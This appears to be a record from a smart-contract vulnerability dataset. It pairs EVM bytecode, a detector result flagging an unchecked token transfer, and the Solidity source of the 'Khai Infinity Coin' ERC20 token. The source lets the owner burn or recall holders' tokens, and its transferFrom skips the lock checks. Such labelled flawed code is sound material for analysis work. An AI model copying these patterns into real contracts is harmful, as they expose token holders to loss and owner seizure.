0x6080604052600436106100fb5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631515bc2b811461010657806327e235e31461012f5780632c4e722e146101625780634042b66f14610177578063521eb2731461018c578063597e1fb5146101bd5780636039fbdb146101d25780637c48bbda146101f65780638d8f2adb1461020b5780638da5cb5b1461022057806392df61e814610235578063a8b973a114610256578063ec8ac4d81461026b578063ecba18c01461027f578063f2fde38b14610299578063fc0c546a146102ba578063fc512b92146102cf578063fd58e63a146102e7575b610104336102ff565b005b34801561011257600080fd5b5061011b6103ac565b604080519115158252519081900360200190f35b34801561013b57600080fd5b50610150600160a060020a03600435166103b5565b60408051918252519081900360200190f35b34801561016e57600080fd5b506101506103c7565b34801561018357600080fd5b506101506103cd565b34801561019857600080fd5b506101a16103d3565b60408051600160a060020a039092168252519081900360200190f35b3480156101c957600080fd5b5061011b6103e2565b3480156101de57600080fd5b50610104600160a060020a03600435166024356103eb565b34801561020257600080fd5b506101506104a1565b34801561021757600080fd5b506101046104a7565b34801561022c57600080fd5b506101a16104b2565b34801561024157600080fd5b50610104600160a060020a03600435166104c1565b34801561026257600080fd5b506101506104e8565b610104600160a060020a03600435166102ff565b34801561028b57600080fd5b5061010460043515156104ee565b3480156102a557600080fd5b50610104600160a060020a036004351661051c565b3480156102c657600080fd5b506101a16105b5565b3480156102db57600080fd5b506101046004356105c4565b3480156102f357600080fd5b5061010460043561067e565b34600061030c838361069e565b610315826106c3565b60035490915061032b908363ffffffff61070416565b6003556103388382610711565b82600160a060020a031633600160a060020a03167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188484604051808381526020018281526020019250505060405180910390a361039583836106bf565b61039d61077f565b6103a783836106bf565b505050565b60085460ff1690565b60056020526000908152604090205481565b60025481565b60035481565b600154600160a060020a031681565b60085460ff1681565b60045433600160a060020a0390811691161461040657600080fd5b600160a060020a03821660009081526005602052604090205461042f908263ffffffff61070416565b600160a060020a03831660009081526005602052604090205560065461045b908263ffffffff61070416565b600655604080518281529051600160a060020a038416917ff4c563a3ea86ff1f4275e8c207df0375a51963f2b831b7bf4da8be938d92876c919081900360200190a25050565b60065481565b6104b0336107b8565b565b600454600160a060020a031681565b60045433600160a060020a039081169116146104dc57600080fd5b6104e5816107b8565b50565b60075481565b60045433600160a060020a0390811691161461050957600080fd5b6008805460ff1916911515919091179055565b60045433600160a060020a0390811691161461053757600080fd5b600160a060020a038116151561054c57600080fd5b600454604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a031681565b60045433600160a060020a039081169116146105df57600080fd5b60008054600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a039283166004820152602481018690529051919092169263a9059cbb92604480820193602093909283900390910190829087803b15801561065457600080fd5b505af1158015610668573d6000803e3d6000fd5b505050506040513d60208110156103a757600080fd5b60045433600160a060020a0390811691161461069957600080fd5b600755565b600160a060020a03821615156106b357600080fd5b8015156106bf57600080fd5b5050565b60006106fe6103e86106f26007546106e66002548761084d90919063ffffffff16565b9063ffffffff61084d16565b9063ffffffff61087616565b92915050565b818101828110156106fe57fe5b6107196103ac565b1561072357600080fd5b600160a060020a03821660009081526005602052604090205461074c908263ffffffff61070416565b600160a060020a038316600090815260056020526040902055600654610778908263ffffffff61070416565b6006555050565b600154604051600160a060020a03909116903480156108fc02916000818181858888f193505050501580156104e5573d6000803e3d6000fd5b60006107c26103ac565b15156107cd57600080fd5b50600160a060020a0381166000908152600560205260408120549081116107f357600080fd5b600160a060020a038216600081815260056020908152604080832092909255815184815291517f06fd92518610d6cbeff50af5cfc376de1de0809bc0d255140eb20715f25af9519281900390910190a26106bf828261088b565b600082151561085e575060006106fe565b5081810281838281151561086e57fe5b04146106fe57fe5b6000818381151561088357fe5b049392505050565b60008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038681166004830152602482018690529151919092169263a9059cbb92604480820193602093909283900390910190829087803b1580156108fd57600080fd5b505af1158015610911573d6000803e3d6000fd5b505050506040513d602081101561092757600080fd5b505050505600a165627a7a72305820b1d96a7ac63786607739800d940d58bdff58acf0f0eb62597281d184ed7aadc10029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 3,979 |
0x3349206f56fc80f36ce184be8d62a15a9cbdef06
|
pragma solidity 0.4.25;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) public balances;
uint256 public _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0) && _value != 0 &&_value <= balances[msg.sender],"Please check the amount of transmission error and the amount you send.");
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20Token is BasicToken, ERC20 {
using SafeMath for uint256;
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping (address => mapping (address => uint256)) public allowed;
mapping (address => uint256) public freezeOf;
function approve(address _spender, uint256 _value) public returns (bool) {
require(_value == 0 || allowed[msg.sender][_spender] == 0,"Please check the amount you want to approve.");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool success) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
mapping (address => bool) public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner,"I am not the owner of the wallet.");
_;
}
modifier onlyOwnerOrAdmin() {
require(msg.sender == owner || admin[msg.sender] == true,"It is not the owner or manager wallet address.");
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0) && newOwner != owner && admin[newOwner] == true,"It must be the existing manager wallet, not the existing owner's wallet.");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function setAdmin(address newAdmin) onlyOwner public {
require(admin[newAdmin] != true && owner != newAdmin,"It is not an existing administrator wallet, and it must not be the owner wallet of the token.");
admin[newAdmin] = true;
}
function unsetAdmin(address Admin) onlyOwner public {
require(admin[Admin] != false && owner != Admin,"This is an existing admin wallet, it must not be a token holder wallet.");
admin[Admin] = false;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused,"There is a pause.");
_;
}
modifier whenPaused() {
require(paused,"It is not paused.");
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0; }
uint256 c = a * b;
require(c / a == b,"An error occurred in the calculation process");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b !=0,"The number you want to divide must be non-zero.");
uint256 c = a / b;
require(c * b == a,"An error occurred in the calculation process");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a,"There are more to deduct.");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a,"The number did not increase.");
return c;
}
}
contract BurnableToken is BasicToken, Ownable {
event Burn(address indexed burner, uint256 amount);
function burn(uint256 _value) onlyOwner public {
balances[msg.sender] = balances[msg.sender].sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
}
function burnAddress(address _from, uint256 _value) onlyOwner public {
balances[_from] = balances[_from].sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit Burn(_from, _value);
emit Transfer(_from, address(0), _value);
}
}
contract FreezeToken is BasicToken, Ownable {
event Freezen(address indexed freezer, uint256 amount);
event UnFreezen(address indexed freezer, uint256 amount);
mapping (address => uint256) public freezeOf;
function freeze(uint256 _value) onlyOwner public {
balances[msg.sender] = balances[msg.sender].sub(_value);
freezeOf[msg.sender] = freezeOf[msg.sender].add(_value);
_totalSupply = _totalSupply.sub(_value);
emit Freezen(msg.sender, _value);
}
function unfreeze(uint256 _value) onlyOwner public {
require(_value <= _totalSupply && freezeOf[msg.sender] >= _value,"The number to be processed is more than the total amount and the number currently frozen.");
balances[msg.sender] = balances[msg.sender].add(_value);
freezeOf[msg.sender] = freezeOf[msg.sender].sub(_value);
_totalSupply = _totalSupply.add(_value);
emit Freezen(msg.sender, _value);
}
}
contract KhaiInfinityCoin is BurnableToken,FreezeToken, DetailedERC20, ERC20Token,Pausable{
using SafeMath for uint256;
event Approval(address indexed owner, address indexed spender, uint256 value);
event LockerChanged(address indexed owner, uint256 amount);
event Recall(address indexed owner, uint256 amount);
event TimeLockerChanged(address indexed owner, uint256 time, uint256 amount);
event TimeLockerChangedTime(address indexed owner, uint256 time);
event TimeLockerChangedBalance(address indexed owner, uint256 amount);
mapping(address => uint) public locked;
mapping(address => uint) public time;
mapping(address => uint) public timeLocked;
mapping(address => uint) public unLockAmount;
string public s_symbol = "KHAI";
string public s_name = "Khai Infinity Coin";
uint8 public s_decimals = 18;
uint256 public TOTAL_SUPPLY = 20*(10**8)*(10**uint256(s_decimals));
constructor() DetailedERC20(s_name, s_symbol, s_decimals) public {
_totalSupply = TOTAL_SUPPLY;
balances[owner] = _totalSupply;
emit Transfer(address(0x0), msg.sender, _totalSupply);
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool){
require(balances[msg.sender].sub(_value) >= locked[msg.sender].add(timeLocked[msg.sender]),"Attempting to send more than the locked number");
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool){
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function lockOf(address _address) public view returns (uint256 _locker) {
return locked[_address];
}
function setLock(address _address, uint256 _value) public onlyOwnerOrAdmin {
require(_value <= _totalSupply &&_address != address(0),"It is the first wallet or attempted to lock an amount greater than the total holding.");
locked[_address] = _value;
emit LockerChanged(_address, _value);
}
function unlock(address _address, uint256 _value) public onlyOwnerOrAdmin {
require(_value <= _totalSupply &&_address != address(0),"It is the first wallet or attempted to lock an amount greater than the total holding.");
locked[_address] = locked[_address].sub(_value);
emit LockerChanged(_address, _value);
}
function recall(address _from, uint256 _amount) public onlyOwnerOrAdmin {
require(_amount != 0 ,"The number you want to retrieve is not zero, it must be greater than zero.");
uint256 currentLocker = locked[_from];
uint256 currentBalance = balances[_from];
require(currentLocker >= _amount && currentBalance >= _amount,"The number you wish to collect must be greater than the holding amount and greater than the locked number.");
uint256 newLock = currentLocker.sub(_amount);
locked[_from] = newLock;
emit LockerChanged(_from, newLock);
balances[_from] = balances[_from].sub(_amount);
balances[owner] = balances[owner].add(_amount);
emit Transfer(_from, owner, _amount);
emit Recall(_from, _amount);
}
function transferList(address[] _addresses, uint256[] _balances) public onlyOwnerOrAdmin{
require(_addresses.length == _balances.length,"The number of wallet arrangements and the number of amounts are different.");
for (uint i=0; i < _addresses.length; i++) {
balances[msg.sender] = balances[msg.sender].sub(_balances[i]);
balances[_addresses[i]] = balances[_addresses[i]].add(_balances[i]);
emit Transfer(msg.sender,_addresses[i],_balances[i]);
}
}
function setLockList(address[] _recipients, uint256[] _balances) public onlyOwnerOrAdmin{
require(_recipients.length == _balances.length,"The number of wallet arrangements and the number of amounts are different.");
for (uint i=0; i < _recipients.length; i++) {
locked[_recipients[i]] = _balances[i];
emit LockerChanged(_recipients[i], _balances[i]);
}
}
/**
* @dev timeLock 10% of the lock quantity is deducted from the customer's wallet every specific time.
* @param _address Lockable wallet
* @param _time The time the lock is released
* @param _value Number of locks
*/
function timeLock(address _address,uint256 _time, uint256 _value) public onlyOwnerOrAdmin{
require(_address != address(0),"Same as the original wallet address.");
// Divide by 10 to find the number to be subtracted.
uint256 unlockAmount = _value.div(10);
time[_address] = _time;
//Add the locked count.
timeLocked[_address] = timeLocked[_address].add(_value);
//unLockAmount Adds the number to be released.
unLockAmount[_address] = unLockAmount[_address].add(unlockAmount);
emit TimeLockerChanged(_address,_time,_value);
}
function lockTimeStatus(address _address) public view returns (uint256 _time) {
return time[_address];
}
function lockTimeAmountOf(address _address) public view returns (uint256 _value) {
return unLockAmount[_address];
}
function lockTimeBalanceOf(address _address) public view returns (uint256 _value) {
return timeLocked[_address];
}
function untimeLock(address _address) public onlyOwnerOrAdmin{
require(_address != address(0),"Same as the original wallet address.");
uint256 unlockAmount = unLockAmount[_address];
uint256 nextTime = block.timestamp + 30 days;
time[_address] = nextTime;
timeLocked[_address] = timeLocked[_address].sub(unlockAmount);
emit TimeLockerChanged(_address,nextTime,unlockAmount);
}
function timeLockList(address[] _addresses,uint256[] _time, uint256[] _value) public onlyOwnerOrAdmin{
require(_addresses.length == _value.length && _addresses.length == _time.length);
for (uint i=0; i < _addresses.length; i++) {
uint256 unlockAmount = _value[i].div(10);
time[_addresses[i]] = _time[i];
timeLocked[_addresses[i]] = timeLocked[_addresses[i]].add(_value[i]);
unLockAmount[_addresses[i]] = unLockAmount[_addresses[i]].add(unlockAmount);
emit TimeLockerChanged(_addresses[i],_time[i],_value[i]);
}
}
function unTimeLockList(address[] _addresses) public onlyOwnerOrAdmin{
for (uint i=0; i < _addresses.length; i++) {
uint256 unlockAmount = unLockAmount[_addresses[i]];
uint256 nextTime = block.timestamp + 30 days;
time[_addresses[i]] = nextTime;
timeLocked[_addresses[i]] = timeLocked[_addresses[i]].sub(unlockAmount);
emit TimeLockerChanged(_addresses[i],nextTime,unlockAmount);
}
}
function timeLockSetTime(address _address,uint256 _time) public onlyOwnerOrAdmin{
require(_address != address(0),"Same as the original wallet address.");
time[_address] = _time;
emit TimeLockerChangedTime(_address,_time);
}
function timeLockSetBalance(address _address,uint256 _value) public onlyOwnerOrAdmin{
require(_address != address(0),"Same as the original wallet address.");
timeLocked[_address] = _value;
emit TimeLockerChangedBalance(_address,_value);
}
function() public payable {
revert();
}
}
|
0x60806040526004361061025b5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610260578063095ea7b3146102ea57806318160ddd14610322578063181934ea1461034957806318cb0ec01461036c5780631d539764146103815780631f035c7a1461040f57806323b872dd1461043357806327e235e31461045d578063313ce5671461047e5780633dd55bae146104a95780633eaaf86b146105705780633f4ba83a1461058557806342966c681461059a5780634a757f98146105b25780634d253b50146105d35780634f83fe64146105f457806358b1e765146106155780635a46d3b5146106395780635c6581651461065a5780635c975abb1461068157806363a846f81461069657806366188463146106b75780636623fc46146106db5780636e8f6edd146106f3578063704b6c021461071757806370a08231146107385780637aa98fb3146107595780637c67a3e2146107805780637eee288d146107a15780638456cb59146107c5578063859bc2f3146107da5780638da5cb5b14610868578063902d55a51461089957806394844248146108ae57806395d89b41146108c3578063a0d47712146108d8578063a9059cbb146108f9578063b0fc29e61461091d578063bba1964f14610941578063cbf9fe5f14610956578063cd4217c114610977578063d73dd62314610998578063d7a78db8146109bc578063dbf5af6e146109d4578063dd62ed3e146109f5578063df6a9cb814610a1c578063e62138b214610a71578063f2fde38b14610a92578063fe38a85714610ab3575b600080fd5b34801561026c57600080fd5b50610275610ad7565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102af578181015183820152602001610297565b50505050905090810190601f1680156102dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102f657600080fd5b5061030e600160a060020a0360043516602435610b65565b604080519115158252519081900360200190f35b34801561032e57600080fd5b50610337610c78565b60408051918252519081900360200190f35b34801561035557600080fd5b5061036a600160a060020a0360043516610c7e565b005b34801561037857600080fd5b50610275610df9565b34801561038d57600080fd5b506040805160206004803580820135838102808601850190965280855261036a95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610e549650505050505050565b34801561041b57600080fd5b5061036a600160a060020a0360043516602435611045565b34801561043f57600080fd5b5061030e600160a060020a03600435811690602435166044356113bb565b34801561046957600080fd5b50610337600160a060020a0360043516611512565b34801561048a57600080fd5b50610493611524565b6040805160ff9092168252519081900360200190f35b3480156104b557600080fd5b506040805160206004803580820135838102808601850190965280855261036a95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061152d9650505050505050565b34801561057c57600080fd5b506103376117c9565b34801561059157600080fd5b5061036a6117cf565b3480156105a657600080fd5b5061036a6004356118bd565b3480156105be57600080fd5b50610337600160a060020a03600435166119bf565b3480156105df57600080fd5b5061036a600160a060020a03600435166119da565b34801561060057600080fd5b50610337600160a060020a0360043516611b32565b34801561062157600080fd5b5061036a600160a060020a0360043516602435611b44565b34801561064557600080fd5b50610337600160a060020a0360043516611c6b565b34801561066657600080fd5b50610337600160a060020a0360043581169060243516611c86565b34801561068d57600080fd5b5061030e611ca3565b3480156106a257600080fd5b5061030e600160a060020a0360043516611cac565b3480156106c357600080fd5b5061030e600160a060020a0360043516602435611cc1565b3480156106e757600080fd5b5061036a600435611db0565b3480156106ff57600080fd5b5061036a600160a060020a0360043516602435611f79565b34801561072357600080fd5b5061036a600160a060020a03600435166120af565b34801561074457600080fd5b50610337600160a060020a036004351661220e565b34801561076557600080fd5b5061036a600160a060020a0360043516602435604435612229565b34801561078c57600080fd5b50610337600160a060020a03600435166123db565b3480156107ad57600080fd5b5061036a600160a060020a03600435166024356123ed565b3480156107d157600080fd5b5061036a61259b565b3480156107e657600080fd5b506040805160206004803580820135838102808601850190965280855261036a95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061268b9650505050505050565b34801561087457600080fd5b5061087d6128dd565b60408051600160a060020a039092168252519081900360200190f35b3480156108a557600080fd5b506103376128ec565b3480156108ba57600080fd5b506104936128f2565b3480156108cf57600080fd5b506102756128fb565b3480156108e457600080fd5b50610337600160a060020a0360043516612956565b34801561090557600080fd5b5061030e600160a060020a0360043516602435612968565b34801561092957600080fd5b5061036a600160a060020a0360043516602435612a9e565b34801561094d57600080fd5b50610275612c21565b34801561096257600080fd5b50610337600160a060020a0360043516612c7c565b34801561098357600080fd5b50610337600160a060020a0360043516612c8e565b3480156109a457600080fd5b5061030e600160a060020a0360043516602435612ca0565b3480156109c857600080fd5b5061036a600435612d39565b3480156109e057600080fd5b50610337600160a060020a0360043516612e03565b348015610a0157600080fd5b50610337600160a060020a0360043581169060243516612e1e565b348015610a2857600080fd5b506040805160206004803580820135838102808601850190965280855261036a95369593946024949385019291829185019084908082843750949750612e499650505050505050565b348015610a7d57600080fd5b50610337600160a060020a0360043516613044565b348015610a9e57600080fd5b5061036a600160a060020a036004351661305f565b348015610abf57600080fd5b5061036a600160a060020a0360043516602435613216565b6005805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610b5d5780601f10610b3257610100808354040283529160200191610b5d565b820191906000526020600020905b815481529060010190602001808311610b4057829003601f168201915b505050505081565b6000811580610b955750336000908152600860209081526040808320600160a060020a0387168452909152902054155b1515610c11576040805160e560020a62461bcd02815260206004820152602c60248201527f506c6561736520636865636b2074686520616d6f756e7420796f752077616e7460448201527f20746f20617070726f76652e0000000000000000000000000000000000000000606482015290519081900360840190fd5b336000818152600860209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60015490565b6002546000908190600160a060020a0316331480610cb057503360009081526003602052604090205460ff1615156001145b1515610d08576040805160e560020a62461bcd02815260206004820152602e60248201526000805160206136c98339815191526044820152600080516020613749833981519152606482015290519081900360840190fd5b600160a060020a0383161515610d65576040805160e560020a62461bcd028152602060048201526024808201526000805160206136e9833981519152604482015260e160020a6332b9b99702606482015290519081900360840190fd5b5050600160a060020a0381166000908152600e6020908152604080832054600c835281842062278d00420190819055600d909352922054610dac908363ffffffff61334c16565b600160a060020a0384166000818152600d6020908152604091829020939093558051848152928301859052805191926000805160206136a9833981519152929081900390910190a2505050565b600f805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610b5d5780601f10610b3257610100808354040283529160200191610b5d565b600254600090600160a060020a0316331480610e8457503360009081526003602052604090205460ff1615156001145b1515610edc576040805160e560020a62461bcd02815260206004820152602e60248201526000805160206136c98339815191526044820152600080516020613749833981519152606482015290519081900360840190fd5b8151835114610f81576040805160e560020a62461bcd02815260206004820152604a60248201527f546865206e756d626572206f662077616c6c657420617272616e67656d656e7460448201527f7320616e6420746865206e756d626572206f6620616d6f756e7473206172652060648201527f646966666572656e742e00000000000000000000000000000000000000000000608482015290519081900360a40190fd5b5060005b8251811015611040578181815181101515610f9c57fe5b90602001906020020151600b60008584815181101515610fb857fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558251839082908110610fe957fe5b90602001906020020151600160a060020a0316600080516020613689833981519152838381518110151561101957fe5b906020019060200201516040518082815260200191505060405180910390a2600101610f85565b505050565b60025460009081908190600160a060020a031633148061107957503360009081526003602052604090205460ff1615156001145b15156110d1576040805160e560020a62461bcd02815260206004820152602e60248201526000805160206136c98339815191526044820152600080516020613749833981519152606482015290519081900360840190fd5b831515611174576040805160e560020a62461bcd02815260206004820152604a60248201527f546865206e756d62657220796f752077616e7420746f2072657472696576652060448201527f6973206e6f74207a65726f2c206974206d75737420626520677265617465722060648201527f7468616e207a65726f2e00000000000000000000000000000000000000000000608482015290519081900360a40190fd5b600160a060020a0385166000908152600b6020908152604080832054918390529091205490935091508383108015906111ad5750838210155b1515611275576040805160e560020a62461bcd02815260206004820152606a60248201527f546865206e756d62657220796f75207769736820746f20636f6c6c656374206d60448201527f7573742062652067726561746572207468616e2074686520686f6c64696e672060648201527f616d6f756e7420616e642067726561746572207468616e20746865206c6f636b60848201527f6564206e756d6265722e0000000000000000000000000000000000000000000060a482015290519081900360c40190fd5b611285838563ffffffff61334c16565b600160a060020a0386166000818152600b6020908152604091829020849055815184815291519394509192600080516020613689833981519152929181900390910190a2600160a060020a0385166000908152602081905260409020546112f2908563ffffffff61334c16565b600160a060020a03808716600090815260208190526040808220939093556002549091168152205461132a908563ffffffff6133ac16565b60028054600160a060020a039081166000908152602081815260409182902094909455915482518881529251908216939189169260008051602061372983398151915292908290030190a3604080518581529051600160a060020a038716917f292f6683f4c6c70f710d3458e1113ffc895a78fd70fb44e8f8ad0e18f06fd87d919081900360200190a25050505050565b600a5460009060ff1615611419576040805160e560020a62461bcd02815260206004820152601160248201527f546865726520697320612070617573652e000000000000000000000000000000604482015290519081900360640190fd5b600160a060020a038416600090815260208190526040902054611442908363ffffffff61334c16565b600160a060020a038086166000908152602081905260408082209390935590851681522054611477908363ffffffff6133ac16565b600160a060020a038085166000908152602081815260408083209490945591871681526008825282812033825290915220546114b9908363ffffffff61334c16565b600160a060020a0380861660008181526008602090815260408083203384528252918290209490945580518681529051928716939192600080516020613729833981519152929181900390910190a35060019392505050565b60006020819052908152604090205481565b60075460ff1681565b6002546000908190600160a060020a031633148061155f57503360009081526003602052604090205460ff1615156001145b15156115b7576040805160e560020a62461bcd02815260206004820152602e60248201526000805160206136c98339815191526044820152600080516020613749833981519152606482015290519081900360840190fd5b825185511480156115c9575083518551145b15156115d457600080fd5b600091505b84518210156117c25761160b600a84848151811015156115f557fe5b602090810290910101519063ffffffff61340916565b9050838281518110151561161b57fe5b90602001906020020151600c6000878581518110151561163757fe5b6020908102909101810151600160a060020a031682528101919091526040016000205582516116b79084908490811061166c57fe5b90602001906020020151600d6000888681518110151561168857fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff6133ac16565b600d600087858151811015156116c957fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000208190555061170d81600e6000888681518110151561168857fe5b600e6000878581518110151561171f57fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055845185908390811061175057fe5b90602001906020020151600160a060020a03166000805160206136a9833981519152858481518110151561178057fe5b90602001906020020151858581518110151561179857fe5b602090810290910181015160408051938452918301528051918290030190a26001909101906115d9565b5050505050565b60015481565b600254600160a060020a0316331461182c576040805160e560020a62461bcd0281526020600482015260216024820152600080516020613709833981519152604482015260f960020a601702606482015290519081900360840190fd5b600a5460ff161515611888576040805160e560020a62461bcd02815260206004820152601160248201527f4974206973206e6f74207061757365642e000000000000000000000000000000604482015290519081900360640190fd5b600a805460ff191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600254600160a060020a0316331461191a576040805160e560020a62461bcd0281526020600482015260216024820152600080516020613709833981519152604482015260f960020a601702606482015290519081900360840190fd5b3360009081526020819052604090205461193a908263ffffffff61334c16565b3360009081526020819052604090205560015461195d908263ffffffff61334c16565b60015560408051828152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a260408051828152905160009133916000805160206137298339815191529181900360200190a350565b600160a060020a03166000908152600c602052604090205490565b600254600160a060020a03163314611a37576040805160e560020a62461bcd0281526020600482015260216024820152600080516020613709833981519152604482015260f960020a601702606482015290519081900360840190fd5b600160a060020a03811660009081526003602052604090205460ff1615801590611a6f5750600254600160a060020a03828116911614155b1515611b11576040805160e560020a62461bcd02815260206004820152604760248201527f5468697320697320616e206578697374696e672061646d696e2077616c6c657460448201527f2c206974206d757374206e6f74206265206120746f6b656e20686f6c6465722060648201527f77616c6c65742e00000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b600160a060020a03166000908152600360205260409020805460ff19169055565b600d6020526000908152604090205481565b600254600160a060020a03163314611ba1576040805160e560020a62461bcd0281526020600482015260216024820152600080516020613709833981519152604482015260f960020a601702606482015290519081900360840190fd5b600160a060020a038216600090815260208190526040902054611bca908263ffffffff61334c16565b600160a060020a038316600090815260208190526040902055600154611bf6908263ffffffff61334c16565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516916000805160206137298339815191529181900360200190a35050565b600160a060020a03166000908152600b602052604090205490565b600860209081526000928352604080842090915290825290205481565b600a5460ff1681565b60036020526000908152604090205460ff1681565b336000908152600860209081526040808320600160a060020a0386168452909152812054808310611d1557336000908152600860209081526040808320600160a060020a0388168452909152812055611d4a565b611d25818463ffffffff61334c16565b336000908152600860209081526040808320600160a060020a03891684529091529020555b336000818152600860209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600254600160a060020a03163314611e0d576040805160e560020a62461bcd0281526020600482015260216024820152600080516020613709833981519152604482015260f960020a601702606482015290519081900360840190fd5b6001548111158015611e2e5750336000908152600460205260409020548111155b1515611ed0576040805160e560020a62461bcd02815260206004820152605960248201527f546865206e756d62657220746f2062652070726f636573736564206973206d6f60448201527f7265207468616e2074686520746f74616c20616d6f756e7420616e642074686560648201527f206e756d6265722063757272656e746c792066726f7a656e2e00000000000000608482015290519081900360a40190fd5b33600090815260208190526040902054611ef0908263ffffffff6133ac16565b3360009081526020818152604080832093909355600490522054611f1a908263ffffffff61334c16565b33600090815260046020526040902055600154611f3d908263ffffffff6133ac16565b60015560408051828152905133917fcac76f4972d9ff5ad35f15943c99ef30a49b3a0203cc98c4ef401ab7b8d1a509919081900360200190a250565b600254600160a060020a0316331480611fa657503360009081526003602052604090205460ff1615156001145b1515611ffe576040805160e560020a62461bcd02815260206004820152602e60248201526000805160206136c98339815191526044820152600080516020613749833981519152606482015290519081900360840190fd5b600160a060020a038216151561205b576040805160e560020a62461bcd028152602060048201526024808201526000805160206136e9833981519152604482015260e160020a6332b9b99702606482015290519081900360840190fd5b600160a060020a0382166000818152600d6020908152604091829020849055815184815291517fd3166642c3a80a6a3b277784828ccf557a3a415a4e968d118e47d8ff65ada5e09281900390910190a25050565b600254600160a060020a0316331461210c576040805160e560020a62461bcd0281526020600482015260216024820152600080516020613709833981519152604482015260f960020a601702606482015290519081900360840190fd5b600160a060020a03811660009081526003602052604090205460ff1615156001148015906121485750600254600160a060020a03828116911614155b